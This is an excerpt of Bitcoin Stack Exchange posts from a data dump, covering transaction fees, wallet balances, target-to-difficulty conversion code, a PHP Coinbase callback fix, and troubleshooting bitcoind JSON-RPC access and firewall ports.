  <row Id="30452" PostTypeId="1" AcceptedAnswerId="30612" CreationDate="2014-09-10T09:27:10.117" Score="6" ViewCount="13786" Body="&lt;p&gt;I have a problem with a transaction that has 0 btc fees:&#xA;&lt;a href=&quot;https://blockchain.info/tx/256301465d77affb6bc7087432a9130db48dd64efa28b0460fb674eda704f382&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/256301465d77affb6bc7087432a9130db48dd64efa28b0460fb674eda704f382&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, eventually this transaction will either be confirmed or rejected. My question is: how long will this take, and is there anything I can do to speed up this process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There is an interesting answer to this question here &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1503/what-happens-if-my-transaction-is-not-accepted-because-i-did-not-pay-fees&quot;&gt;What happens if my transaction is not accepted because I did not pay fees?&lt;/a&gt; but it's two years old and assumes that one is running the official bitcoin client, which I'm not) &lt;/p&gt;&#xA;" OwnerUserId="19291" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2018-01-13T15:05:31.777" Title="How long does it take for a transaction with 0 fees to be confirmed or rejected?" Tags="|transactions|transaction-fees|confirmations|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30453" PostTypeId="2" ParentId="30442" CreationDate="2014-09-10T10:36:26.470" Score="5" Body="&lt;p&gt;An address is a shortened notation for a particular script. As a transaction output contains exactly one script, it has at most one address (it is possible that the script does not correspond to a particular address, though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to historic reasons, a (normal pay-to-pubkey-hash) address is however also used to refer to &lt;em&gt;keys&lt;/em&gt; (by giving the address that would correspond to a script paying to the hash of that key). The array that &lt;code&gt;decoderawtransaction&lt;/code&gt; and &lt;code&gt;gettransaction&lt;/code&gt; return as 'addresses' is an example of this. For a (non-P2SH) multisig address, if it is a m-of-n multisig script, it will decode the script, and give the &lt;em&gt;keys&lt;/em&gt; it pays to (in address notation).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-09-10T10:36:26.470" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30454" PostTypeId="2" ParentId="30417" CreationDate="2014-09-10T11:20:11.260" Score="4" Body="&lt;p&gt;MtGox has millions of USD missing according to the latest news reports. The final draft of what, where, how and why has yet to be published by the administrator however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some customers who lost money with MtGox are under the false impression that since their funds were in fiat currency instead of Bitcoin they would be safe and receive all of their money back, this simply isn't the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The administrator has already hinted the remaining coins would be sold and all assets pooled for even redistribution. There has been strong support for receiving Bitcoin instead of fiat amongst some creditors but it has yet to be seen how the administrator distributes the remaining funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however MtGox is sold to another entity then this would obviously change the dynamics of the situation. For now there is not much to do but wait for the administrator to finalize his report and wait on an outcome for redistribution or sale.&lt;/p&gt;&#xA;" OwnerUserId="19294" LastActivityDate="2014-09-10T11:20:11.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30455" PostTypeId="1" AcceptedAnswerId="30456" CreationDate="2014-09-10T11:44:20.580" Score="5" ViewCount="460" Body="&lt;p&gt;In the standard bitcoin client (&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;), they tell me the total money in the wallet. However, should I be able to see how much money is in each address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does bitcoin money belong to an address or on a wallet?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="1405" LastEditDate="2014-09-11T00:20:17.130" LastActivityDate="2014-09-11T00:20:17.130" Title="If a wallet has multiple addresses, is the money in the wallet or in the address?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30456" PostTypeId="2" ParentId="30455" CreationDate="2014-09-10T11:58:07.793" Score="8" Body="&lt;p&gt;The bitcoins you received with an address are always associated with that address. The wallet is merely summing up the balances of individual addresses contained in the wallet. You can move addresses between wallets by exporting the private key from one wallet and importing them in another and the bitcoins will show up in the second wallet as well.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-09-10T11:58:07.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30458" PostTypeId="2" ParentId="22581" CreationDate="2014-09-10T16:15:02.720" Score="0" Body="&lt;p&gt;as pieter says, you need to convert the target into its &quot;bits&quot; value, which is a 4 byte compressed value for the target. the following python code converts from your original value in (7) into the value given in &lt;a href=&quot;http://blockexplorer.com/block/000000004f2886a170adb7204cb0c7a824217dd24d11a74423d564c4e0904967&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockexplorer.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import binascii&#xA;&#xA;def target_int2bits(target):&#xA;    # comprehensive explanation here: bitcoin.stackexchange.com/a/2926/2116&#xA;&#xA;    # get in base 256 as a hex string&#xA;    target_hex = int2hex(target)&#xA;&#xA;    bits = &quot;00&quot; if (hex2int(target_hex[: 2]) &amp;gt; 127) else &quot;&quot;&#xA;    bits += target_hex # append&#xA;    bits = hex2bin(bits)&#xA;    length = int2bin(len(bits), 1)&#xA;&#xA;    # the bits value could be zero (0x00) so make sure it is at least 3 bytes&#xA;    bits += hex2bin(&quot;0000&quot;)&#xA;&#xA;    # the bits value could be bigger than 3 bytes, so cut it down to size&#xA;    bits = bits[: 3]&#xA;&#xA;    return length + bits&#xA;&#xA;def bits2target_int(bits_bytes):&#xA;    exp = bin2int(bits_bytes[: 1]) # exponent is the first byte&#xA;    mult = bin2int(bits_bytes[1:]) # multiplier is all but the first byte&#xA;    return mult * (2 ** (8 * (exp - 3)))&#xA;&#xA;def int2hex(intval):&#xA;    hex_str = hex(intval)[2:]&#xA;    if hex_str[-1] == &quot;L&quot;:&#xA;        hex_str = hex_str[: -1]&#xA;    if len(hex_str) % 2:&#xA;        hex_str = &quot;0&quot; + hex_str&#xA;    return hex_str&#xA;&#xA;def hex2int(hex_str):&#xA;    return int(hex_str, 16)&#xA;&#xA;def hex2bin(hex_str):&#xA;    return binascii.a2b_hex(hex_str)&#xA;&#xA;def int2bin(val, pad_length = False):&#xA;    hexval = int2hex(val)&#xA;    if pad_length: # specified in bytes&#xA;        hexval = hexval.zfill(2 * pad_length)&#xA;    return hex2bin(hexval)&#xA;&#xA;def bin2hex(binary):&#xA;    # convert raw binary data to a hex string. also accepts ascii chars (0 - 255)&#xA;    return binascii.b2a_hex(binary)&#xA;&#xA;def bin2int(binary):&#xA;    return hex2int(bin2hex(binary))&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bits_bytes = target_int2bits(22791193517536179595645637622052884930882401463536451358196587084939)&#xA;&amp;gt;&amp;gt;&amp;gt; bin2hex(bits_bytes)&#xA;'1d00d86a'&#xA;&amp;gt;&amp;gt;&amp;gt; # this ^^ is the value in blockexplorer.com in brackets.&#xA;&amp;gt;&amp;gt;&amp;gt; # display the &quot;bits&quot; as an integer:&#xA;&amp;gt;&amp;gt;&amp;gt; bits2target_int(bits_bytes)&#xA;22791060871177364286867400663010583169263383106957897897309909286912L&#xA;&amp;gt;&amp;gt;&amp;gt; # this ^^ is the value at the end of your answer.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2017-07-06T09:09:39.170" LastActivityDate="2017-07-06T09:09:39.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30459" PostTypeId="2" ParentId="2924" CreationDate="2014-09-10T16:20:01.623" Score="2" Body="&lt;p&gt;i use the following python code to convert back and forth between &amp;quot;target&amp;quot; and &amp;quot;bits&amp;quot;:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import binascii&#xA;&#xA;def target_int2bits(target):&#xA;    # comprehensive explanation here: bitcoin.stackexchange.com/a/2926/2116&#xA;&#xA;    # get in base 256 as a hex string&#xA;    target_hex = int2hex(target)&#xA;&#xA;    bits = &amp;quot;00&amp;quot; if (hex2int(target_hex[: 2]) &amp;gt; 127) else &amp;quot;&amp;quot;&#xA;    bits += target_hex # append&#xA;    bits = hex2bin(bits)&#xA;    length = int2bin(len(bits), 1)&#xA;&#xA;    # the bits value could be zero (0x00) so make sure it is at least 3 bytes&#xA;    bits += hex2bin(&amp;quot;0000&amp;quot;)&#xA;&#xA;    # the bits value could be bigger than 3 bytes, so cut it down to size&#xA;    bits = bits[: 3]&#xA;&#xA;    return length + bits&#xA;&#xA;def bits2target_int(bits_bytes):&#xA;    exp = bin2int(bits_bytes[: 1]) # exponent is the first byte&#xA;    mult = bin2int(bits_bytes[1:]) # multiplier is all but the first byte&#xA;    return mult * (2 ** (8 * (exp - 3)))&#xA;&#xA;def int2hex(intval):&#xA;    hex_str = hex(intval)[2:]&#xA;    if hex_str[-1] == &amp;quot;L&amp;quot;:&#xA;        hex_str = hex_str[: -1]&#xA;    if len(hex_str) % 2:&#xA;        hex_str = &amp;quot;0&amp;quot; + hex_str&#xA;    return hex_str&#xA;&#xA;def hex2int(hex_str):&#xA;    return int(hex_str, 16)&#xA;&#xA;def hex2bin(hex_str):&#xA;    return binascii.a2b_hex(hex_str)&#xA;&#xA;def int2bin(val, pad_length = False):&#xA;    hexval = int2hex(val)&#xA;    if pad_length: # specified in bytes&#xA;        hexval = hexval.zfill(2 * pad_length)&#xA;    return hex2bin(hexval)&#xA;&#xA;def bin2hex(binary):&#xA;    # convert raw binary data to a hex string. also accepts ascii chars (0 - 255)&#xA;    return binascii.b2a_hex(binary)&#xA;&#xA;def bin2int(binary):&#xA;    return hex2int(bin2hex(binary))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="123594" LastEditDate="2023-08-12T19:55:01.500" LastActivityDate="2023-08-12T19:55:01.500" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30460" PostTypeId="1" CreationDate="2014-09-10T16:20:32.323" Score="1" ViewCount="697" Body="&lt;p&gt;I've a problem with the callback.&#xA;The post data is not right, because the users cents is not update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function bitcoin($secret) {&#xA;        if($secret == App::Config(ROW_CONFIG_COINBASE_SC)) {&#xA;            if($_POST) {&#xA;                $total = User::Get($_POST[&quot;custom&quot;], FIELD_USERS_CENT) + $_POST[&quot;total_native&quot;];&#xA;                User::Set($_POST[&quot;custom&quot;], FIELD_USERS_CENT, $total);&#xA;            }&#xA;        } else {&#xA;            die(&quot;error&quot;);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the post data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;order {&#xA;        &quot;total_btc&quot;:{&quot;cents&quot;:269800,&quot;currency_iso&quot;:&quot;BTC&quot;},&#xA;        &quot;total_native&quot;:{&quot;cents&quot;:100,&quot;currency_iso&quot;:&quot;EUR&quot;},&#xA;        &quot;total_payout&quot;:{&quot;cents&quot;:0,&quot;currency_iso&quot;:&quot;USD&quot;},&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19298" LastEditorUserId="2306" LastEditDate="2014-09-10T17:33:23.497" LastActivityDate="2014-09-10T17:38:08.647" Title="PHP Coinbase Callback POST" Tags="|coinbase.com|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30461" PostTypeId="2" ParentId="30460" CreationDate="2014-09-10T17:38:08.647" Score="1" Body="&lt;p&gt;You're not accessing the post data correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = json_decode(file_get_contents(&quot;php://input&quot;))['order'];&#xA;$total = User::Get($data['custom'], FIELD_USERS_CENT) + $data['total_native']['cents'];&#xA;User::Set($data['custom'], FIELD_USERS_CENT, $total);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinbase.com/docs/merchant_tools/callbacks&quot; rel=&quot;nofollow&quot;&gt;See also.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-10T17:38:08.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30462" PostTypeId="1" AcceptedAnswerId="30463" CreationDate="2014-09-10T21:09:05.797" Score="2" ViewCount="5857" Body="&lt;p&gt;I am trying to make a json-call to a VPS server that hosts my wallet and it is failing with the following error message :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning:  fopen(http://user:pass@ip:port): failed to open stream: HTTP request           failed! HTTP/1.1 403 Forbidden&#xA;in C:\Users\Owner\Desktop\USBWebServer\root\php\jsonRPCClient.php on line 132&#xA;&#xA;Fatal error:  Uncaught exception 'Exception' with message 'Unable to connect to     http://user:pass@ip:port' in     C:\Users\Owner\Desktop\USBWebServer\root\php\jsonRPCClient.php:140&#xA;Stack trace:&#xA;#0 C:\Users\Owner\Desktop\USBWebServer\root\php\testrpc.php(15): jsonRPCClient- &amp;gt;__call('getinfo', Array)&#xA;#1 C:\Users\Owner\Desktop\USBWebServer\root\php\testrpc.php(15): jsonRPCClient-   &amp;gt;getinfo()&#xA;#2 C:\Users\Owner\Desktop\USBWebServer\root\index.php(154): include('C:\Users\Owner\...')&#xA;#3 {main}&#xA;thrown in C:\Users\Owner\Desktop\USBWebServer\root\php\jsonRPCClient.php on line 140 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i got my JsonRPCClinet.php file from here &lt;a href=&quot;http://jsonrpcphp.org/code.php?file=jsonRPCClient&quot; rel=&quot;nofollow&quot;&gt;http://jsonrpcphp.org/code.php?file=jsonRPCClient&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my bitcoin.conf file is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1 &#xA;daemon=1&#xA;listen=1&#xA;rpcuser=user&#xA;rpcpassword=pass    &#xA;rpctimeout=16&#xA;rpcallowip=0.0.0.0&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i am aware that 0.0.0.0 is dangerous , i will change it once i can get things working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am calling json-rpc using this php code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  require_once 'jsonRPCClient.php';&#xA;&#xA;  /* Configuration variables for the JSON-RPC server */&#xA;    $rpc_host = 'ip';&#xA;    $rpc_port = '8332';&#xA;    $rpc_user = 'user';&#xA;    $rpc_pass = 'pass';&#xA;&#xA;    $btc = new jsonRPCClient('http://' . $rpc_user . ':' . $rpc_pass . '@' . $rpc_host . ':' . $rpc_port);&#xA;&#xA;  echo &quot;&amp;lt;pre&amp;gt;\n&quot;;&#xA;  print_r($btc-&amp;gt;getinfo()); echo &quot;\n&quot;;&#xA;  echo &quot;Received: &quot;.$btc-&amp;gt;getreceivedbylabel(&quot;BEkpbpYLpwacchSQFRCL7ZSWw3VwB8k7WN&quot;).&quot;\n&quot;;&#xA;  echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;additionally i have opened port 8332 on my VPS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone see any reason why this error is occurring, i would greatly appreciate the help&lt;/p&gt;&#xA;" OwnerUserId="19301" LastActivityDate="2015-03-19T20:33:46.773" Title="JSON-RPC call to bitcoind error, 403 failed to open stream" Tags="|bitcoind|php|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30463" PostTypeId="2" ParentId="30462" CreationDate="2014-09-10T23:21:49.263" Score="8" Body="&lt;p&gt;I just read through the code that &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/f7d0a86bf687b4ee11870937666806b289ee9a48/src/netbase.cpp#L1118&quot; rel=&quot;noreferrer&quot;&gt;handles rpcallowip&lt;/a&gt;, and I can tell you that &lt;code&gt;rpcallowip=0.0.0.0&lt;/code&gt; won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to allow from all addresses, you should use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=0.0.0.0/0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Weirdly, I can't find &lt;em&gt;any&lt;/em&gt; code that handles wildcards. I'm going to open an issue on github about it. It looks like either the documentation or the code is wrong.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: It turns out that wildcard support has been removed.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-19T20:33:46.773" LastActivityDate="2015-03-19T20:33:46.773" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="30464" PostTypeId="1" AcceptedAnswerId="30465" CreationDate="2014-09-11T03:49:46.400" Score="1" ViewCount="578" Body="&lt;p&gt;lets say i am making a json-rpc call with the following connection :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $connect = new jsonRPCClient('http://user:password@ipaddress:9332');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does outbound port 9332 of the sender need to be open as well as that the 9332 inbound port of receiving machine? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not then which outbound ports need to be open? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the reason i am asking is because i am connecting via json-rpc to a  VPS that hosts bitcoind with a simulated webserver on my PC  (usbwebserver) and it is successful ,  but when i try to do the identical thing from a shared web-server (hosted by a company) i get an error: Unable to connect and they only have specific outbound ports open. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the help :)&lt;/p&gt;&#xA;" OwnerUserId="19301" LastEditorUserId="19301" LastEditDate="2014-09-11T04:27:12.780" LastActivityDate="2014-09-11T05:50:57.123" Title="Does outbound port have to be open to make an Json-RPC call" Tags="|bitcoind|json-rpc|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30465" PostTypeId="2" ParentId="30464" CreationDate="2014-09-11T05:50:57.123" Score="0" Body="&lt;p&gt;The RPC server doesn't care what source port the request comes from, and it doesn't need to make any extra connections back to the client on that port or any other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a possible cause for your trouble is that the shared webserver's firewall blocks outgoing traffic with a &lt;em&gt;destination&lt;/em&gt; port that is not on their whitelist.  (That may be what is meant by &quot;having specific outbound ports open&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix would be to change the RPC server configuration to listen on some other port which is allowed  as a destination port by the shared webserver.  The most obvious choice would be port 80, if the RPC server machine isn't also running an HTTP server.  Otherwise, you can try various commonly used ports to find one that is allowed by the firewall and not already in use.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-11T05:50:57.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30467" PostTypeId="1" AcceptedAnswerId="30470" CreationDate="2014-09-11T15:42:59.810" Score="13" ViewCount="12773" Body="&lt;p&gt;If we take block hash 0000000000000006770c3806960539ca83a24facbd99ea212f37f2a0e6a5629a for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty as a 32 bit float is &lt;a href=&quot;http://explorer.chain.com/blocks/0000000000000006770c3806960539ca83a24facbd99ea212f37f2a0e6a5629a&quot; rel=&quot;nofollow noreferrer&quot;&gt;50810339.04827648&lt;/a&gt;. The difficulty in bits as an unsigned 32 bit integer is &lt;a href=&quot;https://blockchain.info/rawblock/0000000000000006770c3806960539ca83a24facbd99ea212f37f2a0e6a5629a&quot; rel=&quot;nofollow noreferrer&quot;&gt;424970034&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the equations to go from difficulty -&gt; bits and bits -&gt; difficulty?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastEditorUserId="5406" LastEditDate="2022-12-21T18:53:28.353" LastActivityDate="2023-08-15T19:47:15.700" Title="What are the equations to convert between bits and difficulty?" Tags="|blockchain|blockchain.info|block|difficulty|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30469" PostTypeId="1" CreationDate="2014-09-11T19:47:01.803" Score="0" ViewCount="309" Body="&lt;p&gt;Lets say that someone wanted to prove they owned some metadata without revealing who they were. For instance, lets say they needed to prove they had owned a contract but that contract was in an address that had a lot of bitcoin in it, but they didn't want to show that they had that much capital (maybe a bad example) , but FOR WHATEVER REASON they didn't want to reveal their nest egg address or undermine the psuedonominity of previous linked transactions&#xA;Would it be possible to reveal the existence of the contract, by simply proving that you own an address that was generated by the same seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, Electrum generates six addresses after you create a seed.&#xA;Lets say the contract and a lot of bitcoin was in the first address in that sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you prove that you own this by signing the second address in that sequence (or even a change address), and it would irrevocably prove that you own/control something in the other address&#xA;without linking the two addresses together&#xA;the result being that you would know that &quot;yes this address in within the same sequence of addresses, one of which contains the information that needs to be proven&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this would have perks for privacy of bitcoin and associated technologies&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-09-13T01:50:30.557" Title="Deterministic Key Generation: prove that address is in a sequence of your original seed" Tags="|wallet|address|deterministic-wallets|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30470" PostTypeId="2" ParentId="30467" CreationDate="2014-09-11T19:47:18.923" Score="23" Body="&lt;p&gt;Answer shamelessly stolen from &lt;a href=&quot;https://stackoverflow.com/a/22161019/530160&quot;&gt;stackexchange&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Difficulty encoding is thoroughly described&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Hexadecimal representation like &lt;code&gt;0x182815ee&lt;/code&gt; consists of two parts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0x18&lt;/code&gt; -- number of bytes in a target&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x2815ee&lt;/code&gt; -- target prefix&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This means that valid hash should be less than&#xA;&lt;code&gt;0x2815ee000000000000000000000000000000000000000000&lt;/code&gt; (it is exactly&#xA;&lt;code&gt;0x18&lt;/code&gt; = 24 bytes long).&lt;/p&gt;&#xA;&lt;p&gt;Floating point representation of difficulty shows how much current&#xA;target is harder than the one used in the genesis block.&lt;/p&gt;&#xA;&lt;p&gt;Satoshi decided to use &lt;code&gt;0x1d00ffff&lt;/code&gt; as a difficulty for the genesis&#xA;block, so the target was&#xA;&lt;code&gt;0x00ffff0000000000000000000000000000000000000000000000000000&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;And 50810339.04827648 is how much current target is greater than the&#xA;initial one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How the Bitcoin client converts from bits -&amp;gt; difficulty:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;uint256&amp;amp; uint256::SetCompact(uint32_t nCompact, bool *pfNegative, bool *pfOverflow)&#xA;{&#xA;    int nSize = nCompact &amp;gt;&amp;gt; 24;&#xA;    uint32_t nWord = nCompact &amp;amp; 0x007fffff;&#xA;    if (nSize &amp;lt;= 3) {&#xA;        nWord &amp;gt;&amp;gt;= 8*(3-nSize);&#xA;        *this = nWord;&#xA;    } else {&#xA;        *this = nWord;&#xA;        *this &amp;lt;&amp;lt;= 8*(nSize-3);&#xA;    }&#xA;    if (pfNegative)&#xA;        *pfNegative = nWord != 0 &amp;amp;&amp;amp; (nCompact &amp;amp; 0x00800000) != 0;&#xA;    if (pfOverflow)&#xA;        *pfOverflow = nWord != 0 &amp;amp;&amp;amp; ((nSize &amp;gt; 34) ||&#xA;                                     (nWord &amp;gt; 0xff &amp;amp;&amp;amp; nSize &amp;gt; 33) ||&#xA;                                     (nWord &amp;gt; 0xffff &amp;amp;&amp;amp; nSize &amp;gt; 32));&#xA;    return *this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How the Bitcoin client converts from difficulty -&amp;gt; bits:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;uint32_t uint256::GetCompact(bool fNegative) const&#xA;{&#xA;    int nSize = (bits() + 7) / 8;&#xA;    uint32_t nCompact = 0;&#xA;    if (nSize &amp;lt;= 3) {&#xA;        nCompact = GetLow64() &amp;lt;&amp;lt; 8*(3-nSize);&#xA;    } else {&#xA;        uint256 bn = *this &amp;gt;&amp;gt; 8*(nSize-3);&#xA;        nCompact = bn.GetLow64();&#xA;    }&#xA;    // The 0x00800000 bit denotes the sign.&#xA;    // Thus, if it is already set, divide the mantissa by 256 and increase the exponent.&#xA;    if (nCompact &amp;amp; 0x00800000) {&#xA;        nCompact &amp;gt;&amp;gt;= 8;&#xA;        nSize++;&#xA;    }&#xA;    assert((nCompact &amp;amp; ~0x007fffff) == 0);&#xA;    assert(nSize &amp;lt; 256);&#xA;    nCompact |= nSize &amp;lt;&amp;lt; 24;&#xA;    nCompact |= (fNegative &amp;amp;&amp;amp; (nCompact &amp;amp; 0x007fffff) ? 0x00800000 : 0);&#xA;    return nCompact;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Converting from target to difficulty, in shell. Create file &lt;code&gt;target-to-difficulty.sh&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-bash prettyprint-override&quot;&gt;&lt;code&gt;#!/bin/bash&#xA;echo &amp;quot;ibase=16;FFFF0000000000000000000000000000000000000000000000000000 / $1&amp;quot; | bc -l&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ./target-to-difficulty.sh 000000000000000024DBE9000000000000000000000000000000000000000000&#xA;29829733124.04041574884510759883&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="123594" LastEditDate="2023-07-21T15:11:14.893" LastActivityDate="2023-07-21T15:11:14.893" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30472" PostTypeId="2" ParentId="30432" CreationDate="2014-09-11T20:28:45.547" Score="4" Body="&lt;p&gt;There are always transactions waiting to be verified. Every Bitcoin transaction ever performed is waiting to get one more verification. Even if you don't include any transactions in a block, that block adds proof of work to every transaction in every prior block.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-09-11T20:28:45.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30473" PostTypeId="1" CreationDate="2014-09-11T21:17:59.647" Score="2" ViewCount="168" Body="&lt;p&gt;How do I install the 64 bit version of MultiBit? I downloaded the MultiBit client that is supposed to be compatible with 32 bit &amp;amp; 64 bit but when I run the program it give an error message that says that the program is incompatible with the current version of Windows that it is being run under. How do I get the MultiBit client to run in 64 bit?&lt;/p&gt;&#xA;" OwnerUserId="19320" LastEditorUserId="15412" LastEditDate="2014-09-12T03:00:41.477" LastActivityDate="2015-09-02T03:25:02.967" Title="Unable to install MultiBit 64bit version" Tags="|multibit|error|installation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30474" PostTypeId="1" AcceptedAnswerId="30477" CreationDate="2014-09-11T22:14:33.223" Score="4" ViewCount="708" Body="&lt;p&gt;When I go to blockchain to look at a BTC address I can see a count of the number of transactions that have been sent to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can I use the blockchain API to get this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken a look at the blockchain API documentation and cannot see anything about it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also looks like there is no support email at blockchain I could reach out to with a query like this.&lt;/p&gt;&#xA;" OwnerUserId="19321" LastEditorUserId="15412" LastEditDate="2014-09-12T02:59:34.870" LastActivityDate="2014-09-12T03:08:17.713" Title="Can I use Blockchain API to get number of transactions at BTC address?" Tags="|blockchain|api|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
